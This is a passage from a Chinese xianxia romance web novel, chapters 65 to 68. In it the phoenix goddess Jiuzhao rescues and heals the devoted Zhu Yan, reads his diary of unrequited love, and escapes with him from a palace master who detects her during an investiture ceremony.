他坠在她身后,始终保持着不远不近的距离,仿佛一道与生俱来的清癯影子。 九昭并不说话,也不搭理他。 偶尔, 他踩断枯枝的声响徒增心烦,她便施法在鞋底,用轻身术加快速度——她虽不通医道, 但知晓犯病受伤之人不可贸然行气,否则会有仙力紊乱,气血逆流的后果。 九昭以为凭借这样便能甩开祝晏。 不料没过多久,对方依旧牢牢跟了上来, 像块牛皮糖怎么也甩不开。 九昭心烦得只恨不能揍他一顿。 如此用近似于飞的速度前进了一刻钟, 身后又传来异响。 先是一阵东西开裂到一半突然卡住的声音, 紧接着闷哼响起,有重物狠狠摔倒在地。 不用想也知道。 定是那条“小尾巴”摔倒了。 念头闯入脑海, 九昭的心脏也莫名的, 像是被一双大手狠拧了一下。 她脚步一顿,用尽量松快的心音提醒自己, 就是现在, 抓住时机赶紧将祝晏甩开。也好叫他明白, 守着那点风干了很多年的回忆没用, 真实的她到如今, 同他想象里的完全不一样。 于是, 九昭又加快了一点速度。 不只是为甩掉祝晏,更像是要把身体深处,某层道不明的情绪彻底抛弃。 …… 快脱离这片无边无际的浓绿时,又有窸窣的破风声在林木间阵响。 九昭没忍住,终于还是回了头。 她发觉祝晏仍在不管不顾地跟着。 不过这次,他似乎意识到了发出动静会被她丢下,便用力咬着苍白嘴唇,苦苦维持术法。 “……” 对视的瞬间,他稠丽的面孔因着不小心弄出动静,而流露出做错事孩子般的惶恐。 九昭恶狠狠瞪过去的眼神顿时僵了一僵。 “小——” 他张嘴想要解释什么,体内的力量却释放到极致,将近枯竭。 于是,代替话语的,是他再次踩中草地见凸起的硬石,踉跄着摔倒在地的景象。 眼见总比耳闻更具冲击力。 这下摔得极重,那尖锐碎石径直插进了祝晏的脚底。 九昭的步伐终于停了下来,目光落在他与地面接触的双脚。 那白皙如玉的肌肤上遍布划伤、淤青,最严重处血流不止。 蕴着浓厚仙灵的血液蜿蜒在深褐色的土壤间,那股强大而诱人的气息被九昭的鼻尖捕捉——祝晏竟是虚弱到,连护体敛息的仙力都凝聚不起。 再这样下去,恐怕会引来森林深处蛰伏的野兽。 真的很讨厌。 却又……很可怜。 此时此刻的九昭还并不知晓“烈女怕缠郎”是什么意思。 她只觉得再这样下去,那些石子就不是插进祝晏的脚底,而是要化作利钩刺进她的心。 “你回去吧,别在我这里碍眼了。” 她往回走一步,稍稍拉近彼此间的距离,没好气地说道,“你就算跟我跟到腿断了,我也不会收回我的话的,我本来就是这样一个恶人,趁现在认清楚也不晚。” 说完,九昭又刻意多等了一息。 见祝晏只是低着头,伸手反反复复揉按着发肿的踝骨,便以为他终于决定放弃了。 肯放弃就好。 也免得自己再多费口舌。 回到壶天珍宝斋,只需要一个小小的传送法术。 料想他应当施展得出来。 九昭这般思忖着,便一甩袖,打算一鼓作气冲出森林。 然而—— 那原本还沉默跪坐着的青年,竟又开始伸手扶住旁边的树干,挣扎着想要站起。 “……!!!” 九昭真的要爆炸了。 她不明白祝晏就这样不顾一切是为了什么。 她不施以惩罚,他就自己惩罚自己来叫她解气吗?! 无名的心头火在九昭胸口蔓延。 她凭借过人的听觉,已经感知到有野兽循着气息,朝这处靠拢的狂奔声。 看数量,还不仅仅是一只两只。 人想飞升成仙,野兽当然也想。 只有修为积聚到足够的程度,才能蜕变成人,拥有追求长生之道的前提。 眼下祝晏如此虚弱,又执意不肯使用传送术。 她若丢下他离开此地,怕是用不了多久,他就会被啃得连骨头都不剩。 作为统管登天阶修补事宜的督工,有看护手下金仙性命的义务。 九昭只好沉着脸折返回去。 “……小姐。” 祝晏又可怜巴巴地唤了她一声。 浓密长睫下,那双黑亮的眼眸流光粼粼,不欲亦含情。为了不出声打扰九昭,他忍耐着疼痛,竟是连嘴唇都咬破了。苍白的两瓣线条中央,唇心一点红意仿佛在诱人肆意品尝。 九昭却没什么心情欣赏这脆弱的美景。 事实上,跟祝晏拉扯了这一路,她连男女间仅剩的一点别扭心思也没了。 她现在只想赶紧把这个惹事精打包带回壶天珍宝斋。 便趁着祝晏眼巴巴地望过来,半点不设防之际,一掌砍在颈侧,将他劈晕了过去。 “烦人!” “惹祸精!” 她释放仙术,草草为祝晏止血。如同发泄一般,边骂骂咧咧,边粗鲁剥开他胸口的袍,将那衬里的雪白中衣撕裂半截,分为两片勉强能用的布条,包扎在他脚底伤口上。 处理完这一切,面对如何把祝晏带回去的问题,九昭又庆幸起自己的天生神力,没有随着修为一同被压缩。她蹲下身,毫不费力地将个子高出自己大半个头的昏迷青年缚在身后。 双手绕过腿肘,她背着他轻松站起,好像在背一个轻飘飘的麻袋。 整个过程里,昏迷的青年没有半点反抗。 倒成了货真价实的乖巧睡美人。 掂掂肩膀上的重量,九昭如释重负抒了口气。 解决了大麻烦,也能得空解决小麻烦。 她偏转脸颊,扫过蛰伏在森林阴影中,时隐时现的几十束瞳光,而后轻轻勾起唇角。 熊熊燃烧的火焰,立刻自双眼间蔓延开来。 她从容自得的笑意忽止,随着檀口微张,一声嘹亮的凤唳穿过齿关,直透云霄。 “锵——” 在鼓膜被震裂出血的疼痛里,那原本蠢蠢欲动,准备发起进攻的野兽们表情活像见了鬼。 它们僵立原地片刻,忽然哀嚎着后退两步,四散溃逃。 九昭复又笑了起来。 天地终于安静了。 …… 再无人事阻碍,九昭开启传送阵,带着祝晏出现在壶天珍宝斋三楼。 一夜过去,再加上森林中的奔逐,九昭头发乱了,钗环也偏移了位置。而伏在她背上的青年形容更加引人遐思,赤着脚,衣服被扯破,微蹙的眉梢眼角,还透着几分难以言喻的薄红。 九昭说有事要去忙。 也没具体说什么事,什么时候回来。 担心了一夜的绛玉和朱映听到动静,急匆匆奔出门来,见到的却是这样一副场景。 他们的笑容僵在面孔上,交换眼神,面面相觑。 九昭丝毫没有解释的意图。 她道想沐浴更衣,吩咐绛玉先去准备热水。 待绛玉告退后,她又单独叮嘱朱映:“男女有别,我不方便为他擦洗,你来。” 朱映虽同绛玉一般,心中诸多疑惑和担忧,但好在一向懂得分寸。 他应诺,陪伴九昭下到二楼。 推开祝晏的房间,他从木柜中取出衣物,带着青年通往屏风后面换衣修整。 等在外面的九昭,干脆又坐在长案后,翻阅起那本被主人忘记藏好的手记来。 得知祝晏喜欢的人是自己,再看这瓶没送出去的玫瑰香露,九昭的感情就复杂了许多。 她打开木塞,让琉璃瓶内的香气缓缓渗透出来。 在叫人心神安宁的花植气息里,她将手记从头看起。 “修复登天阶第一日,天晴。 君有所命,父有所托,晏不敢不用心。” 后面的数页,记录的皆是登天阶的裂纹形状、损伤程度、以及各式各样的修复心得。 当初九昭就是看到这些,才没了耐性,直接翻到最后一页。 这次她为了打发时间,逐行逐行看了下去。 到了第八九页,手记的画风突变。 “检视完登天阶,收到渡引仙君的灵讯,她要来了。 “她怎么会到这里来? “不得不说,我真的很高兴。 “在下凡之前,听说她和扶胥上神渐有龃龉,我心惟愿她不再悲伤。” …… “她让我陪伴前往乾朝皇宫。 “敛息符掉落的时候,她牵住了我的手。 “北境常年寒冬,从未有过春暖花开之时,我的记忆里有关春日的画面也很模糊。 “可被她牵住手,我好像听见了心里开花的声音。” …… “她很好学,听取朝堂政事也很认真。 “才不像他们诋毁的那样不学无术。” …… “今天终于鼓足勇气,对她说了一些年少时发生过的事情。 “她居然不嫌弃我是贱妾所生的孩子。 “很多人嘴上说着不在意,我却能够从他们的眼睛里看到最真实的情绪。 “她的眼睛很明亮,很坦荡。 “她真的不嫌弃。 “这是不是代表着,我可以站在离她更近一些的位置?” …… “她比小时候还要可爱,笑起来唇边有甜甜的酒窝。 “能和她在一起的人,我不敢想是修了多大的福气。 “我却拒绝了她共赴婵娟节的邀请。 “我真该死。” …… “好喜欢她。 “真的好喜欢。 “好喜欢、好喜欢、好喜欢、好喜欢、好喜欢、好喜欢、好喜欢——” …… “好想知道她会不会喜欢?” …… 说是手记,整本册子,却更像是一场青年的暗恋心事。 祝晏文字里描述出来的“她”那样美好。 九昭微妙地生出一种,仿佛有另一个更完美的自己,生活在平行时空的错觉。 不是不动容的。 归根究底,九昭从未感受过如祝晏藏在手记里一般热烈赤忱的爱意。 她需要暂时消化一下今日接二连三的信息,便将手记合拢,依照原样放回去。 站起身,窗外是车水马龙的市景。 万物明朗,欣欣向荣,更衬得不愿探出昏暗窗沿的九昭格格不入。 她不可避免地想起自己过去的两段失败感情。 冰冷的自嘲于心间发生: 如果这样的感情叫/做//爱—— 那么,兰祁和扶胥给予自己的,又叫做什么? 66| 第66章 ◎“冥顽不灵!”◎ 九昭的问题, 显然没有人能给她答案。 她也没想太久,朱映便绕开屏风转了出来。 “小姐,祝晏公子的脏衣属下已替他换下了, 也用清洁术帮他清理了身上的污秽。” 他还简单汇报了祝晏的伤口情况, 说扎入脚掌的碎石长而锋利,差点就要戳到骨头。 九昭点点头:“好,我知道了,你先回去。” 她将支起的窗棂拉下, 转身朝屏风后走去。 朱映却侧出一步,以身拦住她的去路:“绛玉此刻应当备好热水了,小姐不回去洗漱吗?” 九昭不由得看他一眼。 看见他眼底鲜明的, 欲言又止的情绪。 这种情绪出现得不奇怪。 毕竟九昭自己也清楚,没有名分的孤男寡女,共处一室,就算落在民风远比三清天更加开放的芸生世, 传出去, 也是件不得体的事情。 她便对他说:“我知道你想说什么, 但现在我和祝晏还有点事要解决,很快就回去。” 见九昭坚持, 朱映也无法。 他低声回了句“那我去准备小姐爱吃的茶点”, 便顺从离开了。 朱映轻缓的脚步逐渐远去。 待房门闭合的声音传入耳际,九昭才抬步, 坐到祝晏的床边。 往日, 那架有足有一位成年男子高的屏风遮住了内室的景象, 真正踏足其中, 九昭才发觉别有洞天。除了并排的漆木衣柜外, 旁边宽大的高架摆放着四五架古琴, 另有许多书卷整齐竖起。 书和琴,皆为风雅事。 更重要的是,需要心静才能领略其中意趣。 这与祝晏寻常展现在众人面前的姿态十分相符,若非他亲口所述自己年少时期怀藏的野心和棱角,九昭也很难想象,他会有被人摁在泥水里,依旧目光桀骜不肯屈服的一面。 匆匆浏览完一圈,九昭收回视线,将注意力放在床榻之上。 换了身整洁长袍的祝晏双眼闭合,睡容平静,忽略苍白的面色,又恢复到翩翩青年的模样。 九昭盯着他咬痕深刻的唇心无言几息,转而拉开盖住他双脚的衾被,观察起他脚上的伤。 朱映并不好管闲事,只做了九昭吩咐内的事情。 他细致包扎了祝晏的伤口,却没有消耗仙力为他治疗。 经过时间发酵,青年袒露在白布外的肌肤变得青青紫紫,看起来更加可怕了。 无人在侧,九昭也不必再端着臭脸的神姬架子。 她默默看了会儿,又在心底叹出口气。 不提别的,他为治愈高烧的自己耗费了不少修为。 不愿欠别人任何,这份人情,终究是要还的。 想通了,九昭便调动起体内的力量,替他修复外伤。 赤色华光轻柔作用在可怖的伤口处,随着仙灵的无声润泽,新生的粉嫩肌肤取代了青紫的淤痕,破裂开绽的皮肉迅速弥合起来——上等的美玉终于即将回归无瑕。 九昭又想到按照祝晏对待差事的专注程度,双脚一旦能够行路,定然会不顾虚透的身子前去修补登天阶,便刻意留了个心眼,留下两处脚底和踝骨的擦伤,好叫他老老实实待在床上修养。 秉承“来都来了”的原则,九昭自然也不会放过祝晏提到的胎里弱症。 有了和扶胥合修治疗的经验,她分出一抹仙识,试探着进入祝晏的身体。 出乎意料,面前的这具身躯没有半点抗拒的意图。 它柔顺地对着九昭舒展开来,骨骼、血液、皮肉、脉络,一览无余。 顺畅游走一个来回,滚烫的属火之力将祝晏的额头逼出涔涔热汗。 九昭也发现了这道弱症的症结所在—— 祝晏的仙脉仿佛天然残缺,靠近心脏的位置,如枯死的根系般萎靡了好几端。 相较于其他仙力充盈,微光盈烁的脉络,这处死气沉沉,透着不祥的漆黑。 只看外在,好像的确是疏通不了,彻底无药可救了。 九昭不死心,又操纵着赤红的仙识,朝那处靠近。 紧接着,第二件出乎她意料的事情发生。 仙识触及萎缩的仙脉末端,那理应不该有任何感觉的部位,忽然羞怯地颤了颤。 一股极其细微的力量回应了九昭。 细微到她分不清是残缺仙脉的知觉,亦或者其他。 九昭来了兴致。 像是找到个新鲜玩具一般,她毫不犹豫地分割出两股仙识探入其中。 仙识的首端,冲击着残缺仙脉的末端。 一下又一下进攻着,想要将它撞开,一股脑钻入其中。 这下,倒是苦了床上沉睡的青年。 体内的温度持续升高,心脉处的刺激一波接着一波传来。 祝晏紧闭的双睫立刻抖索起来,唇畔发出难耐的呻/吟。 他的呻//吟从低到高,逐渐变调,腰肢也弓了起来,仿佛下一刻就要因为痛苦就此折断。 “好疼……” 青年的反应剧烈到极致,九昭只好收手。 她意犹未尽地撤回力量,心中落下个怀疑的影子。 这好像,跟祝晏所说的无药可医不太一样。 若身躯承受得住,加大仙力输出,或许能够一鼓作气冲开,让枯萎的脉络重新运转。 是因为需要的力量太过猛烈,疏通之前身体会先痛死过去吗? 还是,另有其他无法解决的部分,尚未被她探知。 九昭还在思考,那头祝晏的眼睫抖动幅度越来越大,似乎马上就要醒来。 为着前头在森林里的拉扯,九昭同他暂时无话可说。 她一面决定待到返回三清天,要去神医署翻看祝晏的医案,一面从床畔站起,转身欲走。 祝晏的醒转却比她的动作来得更快。 一只手掌从被中探出,抓住她的衣袖。 青年的声音带着初醒的含糊,末尾还有点喘不匀气的虚弱。 “……小姐大恩,又救了属下一次。” 他对九昭真诚道谢,像是彼此之间从未出现过森林里的一遭。 有了前面对峙时的经验,九昭严重怀疑倘若她不管不顾执意要走,祝晏会拽着她的袖子,被她整个人从床上拉下来。那画面太过惊悚,她只好侧对着他,硬邦邦地坐回椅子。 “别多想,我也不想救你。 “只不过你要是死了,我作为督工下凡一趟就白忙活了。” 她的嘴比身体还硬,一个字一个字,沉甸甸的如同顽石。 祝晏勾起唇角,语调轻柔:“君子论迹不论心,终究是我又欠了小姐一份人情。” 看吧看吧。 只要开始掰扯,他总能忽略她的真实意思,脑补出一万条两厢和睦的理由。 九昭对着他,颇有种脾气发不出来的无奈,只能开始找茬:“一口一个小姐,一口一个属下,祝晏仙君不是很懂得尊卑上线吗,那你做什么还要拉着我的手不放?” 祝晏反而将手握得更紧了一些:“……我怕不拉住小姐,这场梦就要醒过来了。” 梦不梦的。 九昭可不愿陪着他打些风花雪月的哑谜。 她侧过面孔,瞥着他,故意露出一侧雪亮虎牙,吓唬道:“你以为拉着我的手不放,就可以继续做美梦了吗——我直接给你一口,痛了流血了,你就知道这是冰冷的现实了。” “好啊。” 祝晏似是格外欢喜,将中衣的袖口挽高,对她献上线条优美的小臂。 “……” 九昭沉默。 他可以不介意。 但她不能不要脸。 “无聊!” 趁着祝晏不注意的当口,她立刻收回自己的手,白眼道:“你自己咬着玩吧,我要走了。” 那献上的手臂依然悬在半空中。 率先被九昭看进眼里的,是祝晏瞳孔深处逐渐熄灭的光。 “……嗯。” 他应了一声,垂下眼帘,笑得体贴,只是勾起的唇线抿紧,带出一段无言落寞,“属下知道了,昨夜劳烦了小姐那么久,是属下的过错,小姐是该趁此着机会,多多休息。” 倘若祝晏继续纠缠。 九昭想,自己一定会立刻转身离开。 偏他总是算准了她的想法,知晓她什么时候吃硬,什么时候吃软。 空气中浮动着玫瑰的香气。 这种坦荡的、没有一丝遮掩的气味,像极了祝晏偷写在手记里的爱意。 九昭又心软了。 对着祝晏这样执拗的恋爱脑,一定要把话说清楚才行。 于是,她全然正对着他,忖度片刻,认真说道:“祝晏,你听好,下面的话我只说一次。” 青年也抬起长睫,注视她的眼睛:“属下洗耳恭听。” “刚才等你醒来的时候,我闲着无聊看了你的手记。说实话,我也不是铁石心肠,听你说喜欢了我那么多年,又看到手记里记录的点点滴滴,我心底有过触动。 “但触动算不了什么,我看到其他自己经历过的事情发生时,也会有所触动。 “你不要喜欢我了,我也尝试过喜欢人,喜欢人只有最初是甜蜜,往后不管怎么样,都是下坡路,没半点意思……也许你真的很好,对我也很真诚,可我还是不想和第三人重蹈覆辙。” 九昭一口气把话说完。 堵在心头长久未散的迷惘,也仿佛一瞬间散尽了。 这是她给予祝晏的交代。 也是回首三万多年恋情往事,最后得出的答案。 把话说出口,她也心平气和下来。 甚至不再窘迫于祝晏的痴缠。 她回望祝晏,等待看到他失望过后决定放弃的眼神。 祝晏却说:“嗯,可我还是会继续喜欢小姐的。” 他的话在结尾处停顿得很突兀,仿佛锄禾的农丁突然发现破土生根于无光处的禾苗。停顿片刻,他又带着认命的神色,苦笑着更改了自己的说法,“不,不是喜欢,是爱……我会永远爱着小姐,哪怕小姐终其一生,目光都不曾落在我的身上。” “……” “??” “!!!” 冥顽不灵! 九昭又开始恶狠狠地瞪着他。 “不怪你总被孟楚欺负,你就是个不撞南墙不回头的大傻瓜!!” 她骂得很凶。 不知怎的,脸却突然红了起来。 67| 第67章 ◎“难道她真的是见一个爱一个的多情种?”◎ 九昭开始有意识地减少和祝晏相处的次数。 除了进宫听学和汇报登天阶的修补进度, 祝晏来找她,五次里有三次她都推脱不见。 时日一久,朱映也看出来了。 趁着一次在旁为九昭烹茶, 他主动问起:“小姐和祝晏公子之间是不是发生了什么?” 突如其来的询问, 最容易探出人的真实想法。 九昭正处于最敏感的阶段,刻意想要把祝晏从自己的生活中剥离,冷不丁听他提到这个最不想听到的名字,她下意识扶了扶耳畔的珍珠珰, 不自在反问:“好端端的,你提起他做什么?” 朱映手上的动作兀自不停,茶汤煮沸飘升的袅袅白雾, 氤氲了他的女化眉眼,越发衬得神容淡定,不卑不亢:“往日小姐总与他相伴在一处,同进同出, 如今倒少了许多。” “是吗?” 九昭并不想深入这个话题, 搪塞道, “你和绛玉都不了解芸生世,所以我才找他作为暂时的向导, 带领我熟悉一下京都的风土人情, 现在我熟悉了,自然也不需要他跟在左右了。” 通常, 九昭能给出合理解释, 朱映也不会坚持刨根问底。 然而这次, 他顾虑的东西, 却比头脑单纯的九昭多出许多。 他沉吟半晌, 借着倒茶端给九昭的空隙, 还是忍不住提醒道:“祝晏公子为庶出,且北境已早早册立了世子孟楚。小姐若选择祝晏公子为王夫,仅是无尊号权力的庶子身份,终究是不够格的——难道小姐想要支持祝晏公子,与世子孟楚争夺北境的神王之位吗?” 他益发赤//裸的话,叫九昭不解皱起眉梢。 “停——” 她做了个别再说下去的手势,“拜托,你怎么会想到这些,我何时说过我喜欢祝晏了?” 除此之外,她也不认同朱映话语里暗暗蕴含的,指责她不该掺和神王设立的意思:“神王统管一方仙民,肩上责任重大,当选有能者任之,你觉得孟楚那个样子,适合成为下任神王?” “孟楚天赋平庸、睚眦必报,是不适合。”朱映整肃表情不变,罕见地不愿有所退让,“但知人知面不知心,我们也无从判定,若祝晏公子继位,就一定合适。” “另外,九尾狐族内部的争斗,本就是一团乱账,他们背叛过三清天,帝座始终心存提防。 “这些年扶持北境之内的螣蛇族,便是着意削弱他们的实力。所以无论嫡子庶子,帝座都不会允准你们在一起。若小姐他日真的存了立祝晏公子为夫之心,恐怕整个三清天都要大变了。” 九昭最招架不住的,就是朱映用一副沧桑老人的态度,语重心长同自己说话。 活像两人之间差出了几万岁辈分似的。 她捂住耳朵,不愿再听:“好了好了,我知道了——你别总是杞人忧天的!” 见九昭的确对册立祝晏为夫之事十分反感,朱映才渐渐放下心来。 他侧过头,用只有自己才能听得见声音,呢喃道:“……但愿真的是我杞人忧天。” …… 自从被朱映告诫过。 九昭心里那股说不出来的别扭越来越强烈。 她不知道朱映是从哪里看出来她对祝晏有情的,莫名其妙之余,曾经短暂冒出来过的认为祝晏这样的性格做王夫不错,以及想要深入了解他的念头,又突兀浮现在脑海,整日困扰着她。 还有,还有那日听他说不是喜欢,是爱时,那倏忽跳动如同擂鼓的心脏。 面对兰祁,是朝夕相伴。 面对扶胥,是濡沐生情。 九昭认为前两次的感情失败,皆是自己爱得太草率。 有了惨痛的教训,对待陌生的、猝不及防的悸动,一定要慎之再慎。 可越是不欲想起,祝晏在脑海里的存在感便越是鲜明。 剪不断,理还乱。 这样更不对了。 ……难道她真的是见一个爱一个的多情种? 在没理清楚自己的想法前,九昭连去皇宫听讲也不想带上祝晏了。 只是学业不可荒废,她干脆趁着晚上休憩时,独自隐身潜入皇宫。 在曲折回环的宫道上绕了一圈又一圈,途经巡逻侍卫和陪伴妃子出行的宫女太监。 九昭刻意离得他们很近,那群人却依旧感应不到任何。 为此,她越发觉得,那需要贴在掌心的敛息符,是祝晏编造出来哄骗她一起的谎言。 有了这个结论。 九昭无论大小事都闭门不见。 就连祝晏汇报登天阶的事,都命朱映代为处理。 接下来的几日,她又独自前往朝堂听讲了几次。 一切顺利,无事发生。 到第五次时,才出现了异样。 …… 今日的皇宫,驻守的侍卫军官格外多。 高墙顶端凸起的棱柱上,还竖插着九昭从来没有见过的旗帜。 九昭循着记忆进入议政大殿,准备照常听政,无人。 又来到东西六宫妃子们的住所,依旧无人。 她在宫闱里打转半天,才听见遥远处,大约是皇宫的中后方,响起威严的隆隆号角。 随即,隆重的礼乐应和着传来,夹杂男女童清脆的歌吟。 这种庄重而神圣的风格,像极了三清天的审美。 而往往三清天出现这种场面,就意味着将要发生大事。 九昭心生好奇,循着声音飞奔而去。 在号角声结束前,终是赶到了举行仪式的露天高台。 高台上,暮年垂垂的皇帝从宫人手中捧起玉冠,戴在面前躬腰行礼的青年头上。 从两旁太监的宣词中,九昭才知晓这是万象宫新任掌宫的授位典礼。 成为新掌宫的青年,出人意料的年轻英俊。 白袍黑带,一身华服更是不凡。 上绣有金色日月星辰,象征掌宫的玉冠,则雕琢成乾朝万里江山的形象。 都说万象宫的几个高位,是可以飞升却选择滞留在人间的“准神仙”。 按照凡人修士人均二百岁的寿命计算,能达到这个标准,怎么也该是一群上了年纪的老人。 眼见对方并非自己想象中的老头老太太,九昭来了些许观礼的兴致。她倾身掠近几丈,躲在侧旁装有鲛人油灯的灯柱后,注视着仪式进行下去。 可她没注意到的是,随着彼此距离缩短,那原本还在恭听圣言的青年目光陡然锐利。 他状似无意朝九昭藏身的方向睇去一眼,在皇帝结束陈辞后,起身高声宣誓守护人间安宁。 九昭犹自不觉。 又见皇帝走下高台,立于人群之首。 另一侧,十六位白袍的万象宫人上台,在青年身后迅速站成四四方阵。 “祭舞起—— “驱病避祸,诛妖灭魔—— “国运昌隆,万世赫赫——” 这还是九昭来到芸生世,第一次看见人族使出媲美仙族的力量。 青年为金系。 在他的法术释放之下,庞然的金龙凤凰升高,笼罩整个宫庭,散下祈福的粼粼金光。 “倒也算是,有几把刷子。” 九昭轻声给予肯定。 然而,下一瞬,变故陡然发生。 那青年忽然从高台一跃而起,舞动的长剑凌厉一击,刺向她所在的灯柱。 凡人的力量有限,是相较未被压缩修为的神仙而言。 这胜似雷霆的攻击来得太快,快到毫无准备的九昭大脑一时短路。 她眼睁睁地看着青年的身影越来越近。 那张眼神凌冽的英俊面容,亦在她的视线里迅速放大。 青年目光聚焦,冷冷凝视着九昭。 他。 ——能看得见她?! 距离无限拉近,想再使用仙术已然来不及。 九昭只好抬起手臂,企图凭借强悍的凤凰体魄以身相挡。 她没办法思考,若被整个皇朝发现自己这一不速之客会是怎样的下场。 电光火石之间,一只贴着黄色符篆的手握住了她的掌心。 另手横陈在她的腰间,抱着她急急向后退去。 68| 第68章 ◎“做个男宠也好,玩物也罢,只要小姐高兴。”◎ 是祝晏救了九昭。 不过要额外护着一个人, 他撤退的脚步终究慢了些。 长衫衣袖被凌厉的剑气割破,连带小臂的肌肤也被划伤。 鲜血缓缓渗了出来。 皇廷内,有龙气镇守, 不得擅用仙力, 两人只好依靠双腿奔逃。 九昭何时体验过这等过街老鼠人人喊打一般的滋味。 她东闪西避得狼狈,一时间忘了询问祝晏为何会出现在这里。 而那新任万象掌宫的青年,更是叫人捉摸不透。分明敛息符的作用下,他无法定位到精准的方向。却不知为何, 依然跟在他们身后几十丈外,并没有被完全甩掉。 好在这场逃命有了祝晏的加入,终是顺畅许多——他远比九昭熟悉宫闱道路, 带着她几经辗转之后,回到了每日进出的必经之路上。沿着这条宫道,再跑上一炷香,就能径直出宫。 胜利的曙光在即, 九昭心底稍稍放宽。 她加快脚步, 正欲一鼓作气, 祝晏却突然拉着她靠上旁边的宫墙。 动作被迫停止,不远处搜捕者又在逐渐迫近。 她疑惑看向祝晏:“怎么, 你跑不动了?” 祝晏抬起手臂, 将衣袖下的伤口露了出来,示意道:“血渗透了布料, 马上就要滴落下来——小姐可还记得, 我说过任何事物离开我们的身体范围, 都会暴露在这些凡人的视线里。” 他犹豫一瞬, 又说道:“那万象宫的新任掌宫叫做离淼, 我在几十年前, 曾与他有过一面之缘,他被誉为芸生世千年难得一见的天才,不到百岁便有飞升之像,却不知何故,迟迟徘徊在人间。他修为本就莫测,我又因受伤泄露了一丝仙灵,怕就是为着这个缘故,才会被紧追不放。” 祝晏的意思,当务之急,逃跑反倒在其次。 若不及时处理伤口,怕等到鲜血坠地,便会立刻被离淼发现踪迹。 祝晏解释清楚原因,便用手肘顶住墙壁,伸出舌尖舔向伤口。虽不能使用治愈术,但他们这些神仙的唾液中也有少量仙灵,可以起到消毒止血的作用。 只是那受伤的位置实在不妙,祝晏变着角度,尝试了几个方向,始终无法触及。 眼见血液就要滑落手肘,冷眼旁观的九昭只好凑上去,替他抹开了那处血迹。 眼下这个情况,思考男女大忌,抑或顾及自己那点无法宣之于口的心绪没任何意义。 “别再乱动,血要滴下来了!” 九昭不耐烦地架住他的手臂,紧接着,在青年微微睁圆的目光注视中,将嘴唇凑了上去。 一股血液特有的腥甜味,在舌尖绽开。与之一同到来的,还有祝晏身上常年萦绕的清淡草木香。这股香气钻入鼻尖,渗透感官,冲淡了九昭的不适感。 日光之下,宫墙道旁,四面皆是奉命搜寻的万象宫人和侍卫官兵,九昭却专注舔//舐起来,无视祝晏剧烈抖动的睫毛,以及半是羞涩半是不安的神容,仿佛在品尝一道不得不入口的菜肴。 “属、属下身份低微,怎可、怎可担得起小姐的——” 九昭纡尊降贵的疗伤来得太过突然,突然到祝晏结巴数次,语不成调。 一个清晰的声音在他脑海重复回响。 眼前是他暗恋景仰了多年的女子。 用舌尖嘴唇,如此为他,简直等同于亵渎—— 况且。 祝晏想不下去,仿照月圆夜弱症发作的那次,用力咬住嘴唇,试图用疼痛强迫自己清醒。 他咬得极其用力,淡色唇肉被蹂//躏到透明发白。 …… 九昭同样认为,光天化日,替人舔//舐伤口的行为太过羞耻,便将注意力从其上移开。 她抬起双眼,观察着祝晏的反应。 决定倘若他显出任何一点叫她不适的表情,便回去狠狠罚他出气。 看来看去,他的脸上除了惶恐、自卑、感恩和震动之外,只剩下那张全无意识咬紧的嘴唇。 九昭只好提醒:“我、在为你疗伤,你若再在嘴上增加个伤口,我就——” 血液尚未止住,她威胁的话也说得含糊。 唾液的大量溢出阻止了下半截言语,可怜九昭本想警告,若再咬破嘴唇,她便从他身上搜刮走敛息符,然后自行离开,留他一个人在这里被万象掌宫发现。 可祝晏借着“嘴上出现伤口”的假设,似乎联想到了不对劲的地方。 他本能依靠嘴上的疼痛勉力克制,这一下却是不得了。 九昭顺着他迅速垂落的眼珠,发觉到了另一处不同寻常的异常。 祝晏的衣摆,衫袍下—— 遭遇那处迅速明显的变化,九昭目光发直一瞬。 往日的情感关系中,皆是她主动。 她何时见过、见过如祝晏这般禁不起撩拨的人?! “小姐,别看……” 祝晏艰难地从齿缝中挤出几个字,脸颊红透,似要滴血。 九昭仍未脱离惊诧的心情,又听见他用细若蚊蝇的声音请求:“要不小姐、就把我丢在这里吧,我显出身形吸引、吸引走离淼的注意力,料想小姐,不用敛息符,也能顺利、逃出去……” “先、先别说那个。” 她短暂离开他的肌肤,双眼冒火瞪着他道,“你到底是怎么回事,连这种时候也能——” 话没说完,一阵结界展开,离淼鬼魅般的身形倏忽凭空出现。 难不成,他们两个说话,他也能听到? 九昭惊得立刻垂头,重新含住祝晏的伤口。 黎淼朝他们暂歇的地点走近两步,似乎在感知着什么。 不多时,他的下属也疾步赶来。 “掌宫大人,可是这处有异样?” 一位穿戴品级比身侧众人更加华丽的女子,率先开口询问。 “我循着那典礼偷窥者的气息来到这里,线索却是突然断了。” 离淼捻袖沉吟,吩咐道:“那不速之客修为高深,连我也只能捕捉到一丝若有若无的气息,既气息断在此处,此处又离宫门尚有一段距离,我猜测对方多半藏匿在附近。 “你等继续分散开来,搜查这一带的各处宫室,我要留在此处,展开术法寻踪。” “遵命!” 离淼说这些话时,身体距离九昭仅有一步之遥。 似乎再靠得近些,就能感受到他随着话音一同震颤的胸膛。 而等闲人士都该吓怕了的情况下,通过小臂肌肤与她建立连接的青年,仍然在兴奋。 他呼吸时轻时重,偶尔承受不了地深吸一口气。 不同于躯壳诚实而热烈的反应,祝晏的表情看起来快要哭了。 狭长的尾线通红,他的心脏每跳动一次,喉咙深处就传来“嗬嗬”的吞气声。 这个当口,谁也不敢说话。 九昭憋着质问和指责,祝晏憋着道歉和泣音。 人族修习的法术,是仙族仙术的繁琐版本。 九昭施展百里识踪术寻找祝晏,只需要心念一动,离淼使用相似的招数,却要念许多口诀。 那法阵扩散开来,灵力的微光在他们身边盘旋飘转。 只是碍于敛息符的限制,迟迟不知该定位在何处。 遭遇失败,离淼这位新任掌宫的脸色很是难看。 幸而他的属下皆在远处,无人察觉他的出师未捷。 “明明感应到那人就在附近,为何始终捕捉不到气息运转的轨迹?” 他一面自言自语,一面手指不断掐诀变化,使出各种法术。 奈何人之力,比起仙之力,终究不在一个维度。 他施展毕生所学,哪怕九昭与祝晏就在他的面前,还是徒劳无功。 时间渐渐推移,因他在祭舞时突然展现的攻势而受到惊吓的老皇帝,尚在等他回去复命。 离淼又坚持了一炷香,面色阴沉得能封冻成冰。 他朝天发射出法光信号,最终心不甘情不愿地收队折返。 …… 待他走远,不等九昭说话,祝晏连声道起歉来:“小姐,属□□内的病症,还有一处弱点,便是生来、生来敏感……若遇到喜欢之人的亲近,很难控制、得住,属下实在罪该万死……” “……” 罪该万死—— 有本事真去死上万次! 